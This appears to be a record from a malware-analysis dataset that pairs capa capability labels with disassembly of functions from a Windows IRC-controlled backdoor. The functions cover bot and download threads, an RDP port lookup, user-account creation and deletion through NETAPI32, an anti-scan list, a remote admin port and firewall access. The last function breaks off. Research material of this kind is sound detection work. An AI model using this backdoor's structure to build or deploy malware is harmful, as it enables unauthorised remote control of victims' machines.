joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002be90
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xd0
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, rdx
xor edx, edx
mov rdi, rcx
lea rcx, [rsp + 0x41]
lea r8d, [rdx + 0x7f]
mov byte [rsp + 0x40], 0
call fcn.14005fe50
xor esi, esi
mov dword [rsp + 0x30], esi
mov eax, dword [0x1400ad670]
xchg dword [rsp + 0x30], eax
mov ecx, dword [rsp + 0x30]
test ecx, ecx
jne 0x14002bfa4
mov rcx, qword [0x1400ad688]
test rcx, rcx
je 0x14002bf04
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x1400ad688], rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [0x1400ad688], rax
test rax, rax
je 0x14002bfd0
lea rax, [rsp + 0x34]
lea r8, [0x14002bd10]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], esi
mov dword [rsp + 0x34], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x14002bf7e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x7f
lea rcx, [rsp + 0x40]
test rbx, rbx
jne 0x14002bf75
lea r8, str._r_nCreate_Logging_Thread_Successfully_r_n_r_n
call fcn.14005ff3c
jmp 0x14002bfd0
lea r8, str.PRIVMSG__s_:Create_Logging_Thread_Successfully_r_n
jmp 0x14002bfc8
mov edx, 0x7f
lea rcx, [rsp + 0x40]
test rbx, rbx
jne 0x14002bf9b
lea r8, str._r_nFail_To_Create_Logging_Thread_r_n_r_n
call fcn.14005ff3c
jmp 0x14002bfd0
lea r8, str.PRIVMSG__s_:Fail_To_Create_Logging_Thread_r_n
jmp 0x14002bfc8
mov edx, 0x7f
lea rcx, [rsp + 0x40]
test rbx, rbx
jne 0x14002bfc1
lea r8, str._r_nLogging_Is_Running_Already_r_n_r_n
call fcn.14005ff3c
jmp 0x14002bfd0
lea r8, str.PRIVMSG__s_:Logging_Is_Running_Already_r_n
mov r9, rbx
call fcn.14005ff3c
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140015c20
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.14005fe20
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x14002d3b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x220
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0x210], rax
mov rbx, rdx
xor edx, edx
mov rdi, rcx
lea rcx, [rsp + 0x81]
lea r8d, [rdx + 0x7f]
mov dword [rsp + 0x40], 8
mov byte [rsp + 0x80], 0
call fcn.14005fe50
xor eax, eax
lea r8, str.SystemCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
lea rcx, [rsp + 0x80]
lea edx, [rax + 0x7f]
mov byte [rsp + 0x68], 0
mov qword [rsp + 0x69], rax
mov dword [rsp + 0x71], eax
mov word [rsp + 0x75], ax
mov byte [rsp + 0x77], al
mov dword [rsp + 0x30], 4
mov qword [rsp + 0x38], rax
call fcn.14005ff3c
mov rax, qword [str.PortNumBer]
lea r11, [rsp + 0x68]
mov edx, 0x103
lea rcx, [rsp + 0x100]
mov qword [r11], rax
movzx eax, word [0x14007ea48]
mov word [r11 + 8], ax
movzx eax, byte [0x14007ea4a]
mov byte [r11 + 0xa], al
test rbx, rbx
jne 0x14002d47b
lea r8, str._r_nFail_To_View_Terminal_Service_Port_r_n_r_n
call fcn.14005ff3c
jmp 0x14002d48a
lea r8, str.PRIVMSG__s_:Fail_To_View_Terminal_Service_Port_r_n
mov r9, rbx
call fcn.14005ff3c
lea rax, [rsp + 0x38]
lea rdx, [rsp + 0x80]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14002d52d
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x48]
lea rdx, [rsp + 0x68]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14002d522
mov edx, 0x103
lea rcx, [rsp + 0x100]
test rbx, rbx
jne 0x14002d50b
mov r9d, dword [rsp + 0x48]
lea r8, str._r_nTerminal_Service_Port:__d_r_n_r_n
call fcn.14005ff3c
jmp 0x14002d522
mov eax, dword [rsp + 0x48]
lea r8, str.PRIVMSG__s_:Terminal_Service_Port:__d_r_n
mov r9, rbx
mov dword [rsp + 0x20], eax
call fcn.14005ff3c
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [rsp + 0x100]
mov rcx, rdi
call fcn.140015c20
mov rcx, qword [rsp + 0x210]
xor rcx, rsp
call fcn.14005fe20
mov rbx, qword [rsp + 0x240]
add rsp, 0x220
pop rdi
ret
Function at 0x14002e8d0
Capabilities:
Create thread

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x488
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0x470], rax
mov rbp, rcx
mov rsi, r8
mov rbx, rdx
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x318
mov rdi, r9
call fcn.14005fe50
lea rcx, [rsp + 0x48]
xor edx, edx
mov r8d, 0x100
mov qword [rsp + 0x40], rbp
call fcn.14005fe50
test rbx, rbx
je 0x14002e93b
lea rcx, [rsp + 0x48]
mov r8d, 0xfe
mov rdx, rbx
call fcn.140060000
mov eax, dword [rsp + 0x4d0]
lea rcx, [rsp + 0x14c]
xor edx, edx
mov r8d, 0x104
mov dword [rsp + 0x148], eax
call fcn.14005fe50
lea rcx, [rsp + 0x250]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
test rsi, rsi
je 0x14002e98e
lea rcx, [rsp + 0x14c]
mov r8d, 0x103
mov rdx, rsi
call fcn.140060000
test rdi, rdi
je 0x14002e9a9
lea rcx, [rsp + 0x250]
mov r8d, 0x103
mov rdx, rdi
call fcn.140060000
lea rcx, [rsp + 0x361]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x360], 0
call fcn.14005fe50
call fcn.140010b60
test eax, eax
jne 0x14002ea2a
mov edx, 0x103
lea rcx, [rsp + 0x360]
test rbx, rbx
jne 0x14002ea04
lea r8, str._r_nWININET_API_Fail_To_Be_Loaded_r_n_r_n
call fcn.14005ff3c
lea rdx, [rsp + 0x360]
mov rcx, rbp
call fcn.140015c20
xor eax, eax
jmp 0x14002eb00
lea r8, str.PRIVMSG__s_:WININET_API_Fail_To_Be_Loaded_r_n
mov r9, rbx
call fcn.14005ff3c
lea rdx, [rsp + 0x360]
mov rcx, rbp
call fcn.140015c20
xor eax, eax
jmp 0x14002eb00
lea rax, [rsp + 0x30]
lea r9, [rsp + 0x40]
lea r8, [0x14002dcf0]
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 0x103
mov rsi, rax
test rax, rax
jne 0x14002ea98
lea rcx, [rsp + 0x360]
test rbx, rbx
jne 0x14002ea8c
lea r8, str._r_nFail_To_Create_Download_Thread_r_n_r_n
call fcn.14005ff3c
lea rdx, [rsp + 0x360]
mov rcx, rbp
call fcn.140015c20
xor eax, eax
jmp 0x14002eb00
lea r8, str.PRIVMSG__s_:Fail_To_Create_Download_Thread_r_n
jmp 0x14002ea0b
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x48]
repne scasb al, byte [rdi]
not rcx
dec rcx
test ecx, ecx
lea rcx, [rsp + 0x360]
jne 0x14002eac5
lea r8, str._r_nCreate_Download_Thread_Successfully_r_n_r_n
call fcn.14005ff3c
jmp 0x14002ead4
lea r8, str.PRIVMSG__s_:Create_Download_Thread_Successfully_r_n
mov r9, rbx
call fcn.14005ff3c
lea rdx, [rsp + 0x360]
mov rcx, rbp
call fcn.140015c20
mov edx, 0x5dc
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.14005fe20
add rsp, 0x488
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14002f3e0
Capabilities:
Read .ini file

Disassembly:
sub rsp, 0xc8
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0xb0], rax
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x80
call fcn.14005fe50
lea rdx, [0x1400ad4c0]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x28], rdx
lea rcx, str.GlobalSettings
lea rdx, str.ServiceName
xor r8d, r8d
mov dword [rsp + 0x20], 0x80
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x14002f4ad
or rcx, 0xffffffffffffffff
mov qword [rsp + 0xc0], rdi
xor eax, eax
lea rdi, [rsp + 0x30]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x30]
call fcn.14000cac0
mov rdi, qword [rsp + 0xc0]
xor ecx, ecx
lea rdx, [0x1400ad690]
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x30]
inc rcx
mov byte [rcx + rdx - 1], al
test al, al
jne 0x14002f480
mov eax, 1
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.14005fe20
add rsp, 0xc8
ret
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.14005fe20
add rsp, 0xc8
ret
Function at 0x1400324f0
Capabilities:
Read .ini file

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
sub rsp, 0x840
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0x830], rax
mov esi, edx
mov rbx, rcx
call fcn.140004e50
test eax, eax
je 0x140032524
xor eax, eax
jmp 0x1400326b4
mov rcx, rbx
call fcn.140005a10
test eax, eax
je 0x14003251d
lea rcx, [0x140096a00]
mov qword [rsp + 0x858], rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, SQLFreeHandle
call fcn.140060408
mov rdi, rax
test rax, rax
jne 0x14003256b
lea rcx, [0x140096a00]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
jmp 0x1400326ac
xor eax, eax
mov rdx, rbx
mov rcx, rdi
mov qword [rdi], rax
mov qword [rdi + 8], rax
lea r8d, [rax + 0x13]
mov dword [rdi + 0x10], eax
call fcn.140060000
mov rdx, qword [0x1400ad898]
mov qword [rdi + 0x14], rdx
lea rcx, [0x140096a00]
mov qword [0x1400ad898], rdi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test esi, esi
je 0x1400326a7
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x800
call fcn.14005fe50
lea rdx, [0x1400ad4c0]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x28], rdx
lea rcx, str.GlobalSettings
lea rdx, str.AntiScanList
xor r8d, r8d
mov dword [rsp + 0x20], 0x800
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jle 0x140032681
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x30]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x30]
mov edx, edx
call fcn.14000cac0
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
lea rdi, [rsp + 0x30]
not rcx
lea rdx, [rcx - 1]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
not rcx
lea eax, [rdx + rcx + 1]
cmp eax, 0x800
jae 0x1400326a7
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdx, [rsp + 0x30]
mov rdi, rdx
repne scasb al, byte [rdi]
movzx eax, word [0x14007585c]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
mov rdi, rdx
repne scasb al, byte [rdi]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [rbx + rdx]
inc rdx
mov byte [rdi + rdx - 2], al
test al, al
jne 0x140032670
jmp 0x140032694
lea rcx, [rsp + 0x30]
mov r8d, 0x7ff
mov rdx, rbx
call fcn.140060000
lea rdx, [rsp + 0x30]
lea rcx, str.AntiScanList
call fcn.14001d290
jmp 0x1400326ac
mov eax, 1
mov rdi, qword [rsp + 0x858]
mov rcx, qword [rsp + 0x830]
xor rcx, rsp
call fcn.14005fe20
mov rbx, qword [rsp + 0x860]
add rsp, 0x840
pop rsi
ret
Function at 0x140035120
Capabilities:
Read .ini file

Disassembly:
push rbx
push rbp
push r12
push r13
sub rsp, 0x178
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0x160], rax
xor eax, eax
mov r12, rcx
mov r13, rdx
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x31], rax
mov qword [rsp + 0x39], rax
mov qword [rsp + 0x41], rax
mov dword [rsp + 0x49], eax
mov word [rsp + 0x4d], ax
mov byte [rsp + 0x4f], al
mov byte [rsp + 0x50], al
call fcn.14005fe50
xor ebx, ebx
mov ebp, ebx
test r13, r13
jne 0x14003518f
xor eax, eax
jmp 0x140035308
mov qword [rsp + 0x1b0], rsi
mov qword [rsp + 0x170], r14
lea r14, [0x1400ad4c0]
mov qword [rsp + 0x1b8], rdi
mov esi, ebx
cmp ebx, 0xc8
ja 0x140035297
xor eax, eax
lea r8, str.User_d
lea rcx, [rsp + 0x30]
lea edx, [rax + 0x1f]
mov r9d, esi
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
call fcn.14005ff3c
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x50]
lea rdx, str.UserName
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jne 0x14003522a
inc ebx
jmp 0x140035289
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x50]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x50]
mov edx, edx
call fcn.14000cac0
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, r13
mov rdx, r13
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x50]
mov r8d, r8d
call fcn.14006036c
test eax, eax
jne 0x140035289
lea r9d, [rax + 1]
lea r8, [rsp + 0x50]
xor edx, edx
mov rcx, r12
call fcn.140026340
test eax, eax
je 0x140035289
inc ebp
inc esi
cmp esi, 0x3e8
jb 0x1400351b0
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
mov r14, qword [rsp + 0x170]
mov rdi, qword [rsp + 0x1b8]
mov rsi, qword [rsp + 0x1b0]
test ebp, ebp
je 0x1400352e0
lea r8, str._r_n_d_Accounts_Has_Been_Deleted_r_n_r_n
lea rcx, [rsp + 0x50]
mov r9d, ebp
mov edx, 0x103
call fcn.14005ff3c
jmp 0x1400352f6
lea r8, str._r_nNo_Accounts_Has_Been_Deleted_r_n_r_n
lea rcx, [rsp + 0x50]
mov edx, 0x103
call fcn.14005ff3c
lea rdx, [rsp + 0x50]
mov rcx, r12
call fcn.140015c20
mov eax, 1
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.14005fe20
add rsp, 0x178
pop r13
pop r12
pop rbp
pop rbx
ret
Function at 0x140035640
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x28
lea rcx, str.WININET.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1400ad8b8], rax
test rax, rax
je 0x14003567e
lea rdx, str.HttpOpenRequestA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400ad480], rax
test rax, rax
jne 0x140035685
call fcn.140010b30
xor eax, eax
add rsp, 0x28
ret
mov rcx, qword [0x1400ad8b8]
lea rdx, str.InternetOpenA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400969f0], rax
test rax, rax
je 0x140035679
mov rcx, qword [0x1400ad8b8]
lea rdx, str.InternetConnectA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400acd58], rax
test rax, rax
je 0x140035679
mov rcx, qword [0x1400ad8b8]
lea rdx, str.HttpSendRequestA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400ad478], rax
test rax, rax
je 0x140035679
mov rcx, qword [0x1400ad8b8]
lea rdx, str.HttpQueryInfoA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400acf20], rax
test rax, rax
je 0x140035679
mov rcx, qword [0x1400ad8b8]
lea rdx, str.InternetCrackUrlA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400abcc0], rax
test rax, rax
je 0x140035679
mov rcx, qword [0x1400ad8b8]
lea rdx, str.InternetReadFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400acf18], rax
test rax, rax
je 0x140035679
mov rcx, qword [0x1400ad8b8]
lea rdx, str.InternetCloseHandle
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400abca0], rax
test rax, rax
je 0x140035679
mov eax, 1
add rsp, 0x28
ret

Function at 0x140036810
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x28
lea rcx, str.NETAPI32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1400ad8d8], rax
test rax, rax
je 0x14003684e
lea rdx, str.NetUserSetInfo
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400969e8], rax
test rax, rax
jne 0x140036855
call fcn.140011ae0
xor eax, eax
add rsp, 0x28
ret
mov rcx, qword [0x1400ad8d8]
lea rdx, str.NetLocalGroupAddMembers
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a96d8], rax
test rax, rax
je 0x140036849
mov rcx, qword [0x1400ad8d8]
lea rdx, str.NetUserAdd
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400ad418], rax
test rax, rax
je 0x140036849
mov rcx, qword [0x1400ad8d8]
lea rdx, str.NetUserEnum
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400ace00], rax
test rax, rax
je 0x140036849
mov rcx, qword [0x1400ad8d8]
lea rdx, str.NetApiBufferFree
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400acee0], rax
test rax, rax
je 0x140036849
mov eax, 1
add rsp, 0x28
ret
Function at 0x140045c20
Capabilities:
Read .ini file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x840
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0x830], rax
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x800
mov qword [rsp + 0x850], rbp
xor ebx, ebx
call fcn.14005fe50
lea rbp, [0x1400ad4c0]
lea r9, [rsp + 0x30]
lea rdx, [0x140084918]
lea rcx, str.GlobalSettings
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x800
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea esi, [rbx + 1]
test eax, eax
jle 0x140045ce0
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x30]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x30]
mov edx, edx
call fcn.14000cac0
lea rdx, str.Enable
lea rcx, [rsp + 0x30]
call fcn.1400605e0
test eax, eax
jne 0x140045cd6
mov eax, esi
xchg dword [0x1400ad894], eax
jmp 0x140045ce8
mov eax, ebx
xchg dword [0x1400ad894], eax
jmp 0x140045ce8
mov eax, ebx
xchg dword [0x1400ad894], eax
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x800
call fcn.14005fe50
lea r9, [rsp + 0x30]
lea rdx, str.AntiScanList
lea rcx, str.GlobalSettings
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x800
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov rbp, qword [rsp + 0x850]
test eax, eax
jle 0x140045d99
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x30]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x30]
mov edx, edx
call fcn.14000cac0
lea rdx, [0x14007585c]
lea rcx, [rsp + 0x30]
call fcn.14006173c
mov rdi, rax
test rax, rax
je 0x140045d99
mov rcx, rdi
call fcn.140005a10
test eax, eax
je 0x140045d83
xor edx, edx
mov rcx, rdi
call fcn.1400324f0
test eax, eax
cmovne ebx, esi
lea rdx, [0x14007585c]
xor ecx, ecx
call fcn.14006173c
mov rdi, rax
test rax, rax
jne 0x140045d68
mov eax, ebx
mov rcx, qword [rsp + 0x830]
xor rcx, rsp
call fcn.14005fe20
lea r11, [rsp + 0x840]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14004d970
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
test rcx, rcx
je 0x14004d9b7
xor edx, edx
lea rax, [rsp + 0x40]
mov r9, rcx
mov qword [rsp + 0x28], rax
lea r8, [0x14004d500]
xor ecx, ecx
mov dword [rsp + 0x20], edx
mov dword [rsp + 0x40], edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x14004d9b7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x38
ret
xor eax, eax
add rsp, 0x38
ret
Function at 0x140055a50
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0xd0
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, rdx
xor edx, edx
mov rdi, rcx
lea rcx, [rsp + 0x41]
lea r8d, [rdx + 0x7f]
mov byte [rsp + 0x40], 0
call fcn.14005fe50
cmp dword [0x1400ad468], 0
jne 0x140055b5f
call fcn.140007c30
call fcn.140040bc0
test eax, eax
je 0x140055b42
cmp dword [0x1400ad464], 0
je 0x140055b42
xor ecx, ecx
lea rax, [rsp + 0x30]
lea r8, [0x1400554c0]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x30], ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x140055b13
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x7f
lea rcx, [rsp + 0x40]
test rbx, rbx
jne 0x140055b0a
lea r8, str._r_nCreate_IRC_Bot_Thread_Successfully_r_n_r_n
call fcn.14005ff3c
jmp 0x140055b8b
lea r8, str.PRIVMSG__s_:Create_IRC_Bot_Thread_Successfully_r_n
jmp 0x140055b83
mov edx, 0x7f
lea rcx, [rsp + 0x40]
test rbx, rbx
jne 0x140055b30
lea r8, str._r_nFail_To_Create_IRC_Bot_Thread_r_n_r_n
call fcn.14005ff3c
jmp 0x140055b8b
lea r8, str.PRIVMSG__s_:Fail_To_Create_IRC_Bot_Thread_r_n
jmp 0x140055b83
lea r8, str.PRIVMSG__s_:IRC_Bot_Is_Disable_r_n
jmp 0x140055b83
mov edx, 0x7f
lea rcx, [rsp + 0x40]
test rbx, rbx
jne 0x140055b39
lea r8, str._r_nIRC_Bot_Is_Disable_r_n_r_n
call fcn.14005ff3c
jmp 0x140055b8b
mov edx, 0x7f
lea rcx, [rsp + 0x40]
test rbx, rbx
jne 0x140055b7c
lea r8, str._r_nIRC_Bot_Is_Running_Already_r_n_r_n
call fcn.14005ff3c
jmp 0x140055b8b
lea r8, str.PRIVMSG__s_:IRC_Bot_Is_Running_Already_r_n
mov r9, rbx
call fcn.14005ff3c
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140015c20
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.14005fe20
mov rbx, qword [rsp + 0xf0]
add rsp, 0xd0
pop rdi
ret
Function at 0x14005c710
Capabilities:
Create thread
Read .ini file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0x40], rax
lea rcx, [0x1400acd68]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx ebp, word [0x1400abd14]
mov esi, dword [0x1400abd10]
lea rcx, [0x1400acd68]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor edx, edx
lea rax, [0x1400ad4c0]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x38]
lea rdx, str.RemoteAdminPort
lea rcx, str.GlobalSettings
xor r8d, r8d
mov dword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jle 0x14005c852
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x38]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x38]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x38]
call fcn.140004d50
test eax, eax
je 0x14005c852
lea rcx, [rsp + 0x38]
call fcn.140061730
mov ebx, eax
lea ecx, [rax - 1]
cmp ecx, 0xfffe
ja 0x14005c852
cmp ebp, eax
jne 0x14005c7f3
test esi, esi
je 0x14005c7f3
cmp dword [0x1400ad674], 0
jne 0x14005c852
xor edi, edi
mov dword [0x1400ad674], edi
call fcn.140015bd0
lea rcx, [0x1400acd68]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rcx, [0x1400acd68]
mov word [0x1400abd14], bx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea r11, [rsp + 0x30]
lea r8, [0x14005c4e0]
mov qword [rsp + 0x28], r11
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edi
call fcn.1400621ec
test eax, eax
mov dword [0x1400ad738], eax
setne dil
mov eax, edi
jmp 0x14005c854
xor eax, eax
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14005fe20
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x14005e8d0
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub rsp, 0x28
call fcn.140010520
test eax, eax
jne 0x14005e8ed
lea rcx, str.Fail_To_Load_Socket_API_r_n
add rsp, 0x28
jmp fcn.14002ba00
call fcn.140004e00
test eax, eax
jne 0x14005e906
lea rcx, str.Fail_To_Init_Socket_r_n
add rsp, 0x28
jmp fcn.14002ba00
call fcn.140035640
test eax, eax
jne 0x14005e91b
lea rcx, str.Fail_To_Load_Wininet_API_r_n
call fcn.14002ba00
call fcn.140035780
call fcn.1400367c0
test eax, eax
jne 0x14005e935
lea rcx, str.Fail_To_Load_Kernel_API_r_n
call fcn.14002ba00
call fcn.140036810
test eax, eax
jne 0x14005e94a
lea rcx, str.Fail_To_Load_Net_API_r_n
call fcn.14002ba00
call fcn.140049460
test eax, eax
je 0x14005e97f
call fcn.140039c60
xor edx, edx
lea rcx, [0x1400ad5d0]
lea r8d, [rdx + 0x64]
call fcn.14005fe50
call fcn.14005e190
call fcn.1400058c0
add rsp, 0x28
jmp qword [0x1400969c8]
lea rcx, str.Fail_To_Read_Global_Info_r_n
call fcn.14002ba00
add rsp, 0x28
jmp qword [0x1400969c8]

Function at 0x14005f020
Capabilities:
Access firewall settings via inetfwmgr

Disassembly:
push rdi
sub rsp, 0x50
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rsp + 0x78], rbx
mov rdi, rcx
xor ebx, ebx
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x68], rbx
cmp qword [rcx], rbx
je 0x14005f061
mov dword [rsp + 0x30], 1
lea rdx, [0x140093438]
lea rcx, [rsp + 0x30]
call fcn.1400622f0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [0x14008af68]
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x14008af58]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x14005f0a2
mov dword [rsp + 0x34], 2
lea rdx, [0x140093438]
lea rcx, [rsp + 0x34]
call fcn.1400622f0
mov rcx, qword [rsp + 0x70]
mov rax, qword [rcx]
